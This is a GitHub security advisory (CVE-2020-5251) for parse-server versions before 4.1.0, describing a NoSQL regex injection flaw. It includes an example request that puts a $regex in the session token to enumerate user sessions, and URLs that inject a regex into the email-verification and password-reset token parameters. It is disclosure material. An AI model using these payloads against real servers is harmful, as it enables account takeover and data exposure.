ghsa-h4mf-75hf-67w4
Vulnerability from github
- you can fetch all the users' objects, by using regex in the NoSQL query.
Using the NoSQL, you can use a regex on sessionToken
("_SessionToken":{"$regex":"r:027f"}}and find valid accounts this way.
Using this method, it's possible to retrieve accounts without interaction from the users.
GET /parse/users/me HTTP/1.1
{
"_ApplicationId": "appName",
"_JavaScriptKey": "javascriptkey",
"_ClientVersion": "js2.10.0",
"_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
"_SessionToken": {
"$regex": "r:5"
}
}
When trying it with an update query the same thing luckily doesn't seem to work:
POST /parse/classes/_User/PPNk59jPPZ
- There is another similar vulnerability in verify email and the request password reset.
If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com
The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com
You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.0"
},
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-5251"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2020-03-04T19:54:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "1. you can fetch all the users\u0027 objects, by using regex in the NoSQL query.\nUsing the NoSQL, you can use a regex on sessionToken `(\"_SessionToken\":{\"$regex\":\"r:027f\"}}` and find valid accounts this way.\n\nUsing this method, it\u0027s possible to retrieve accounts without interaction from the users.\n\nGET /parse/users/me HTTP/1.1\n```\n{\n \"_ApplicationId\": \"appName\",\n \"_JavaScriptKey\": \"javascriptkey\",\n \"_ClientVersion\": \"js2.10.0\",\n \"_InstallationId\": \"ca713ee2-6e60-d023-a8fe-14e1bfb2f300\",\n \"_SessionToken\": {\n \"$regex\": \"r:5\"\n }\n}\n```\nWhen trying it with an update query the same thing luckily doesn\u0027t seem to work:\nPOST /parse/classes/_User/PPNk59jPPZ\n\n2. There is another similar vulnerability in verify email and the request password reset.\n\nIf you sign up with someone else\u0027s email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a\u0026username=some@email.com`\n\nThe same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a\u0026username=some@email.com`\n\nYou may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.",
"id": "GHSA-h4mf-75hf-67w4",
"modified": "2021-01-08T20:27:29Z",
"published": "2020-03-04T20:20:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-h4mf-75hf-67w4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5251"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/3a3a5eee5ffa48da1352423312cb767de14de269"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Information disclosure in parse-server"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.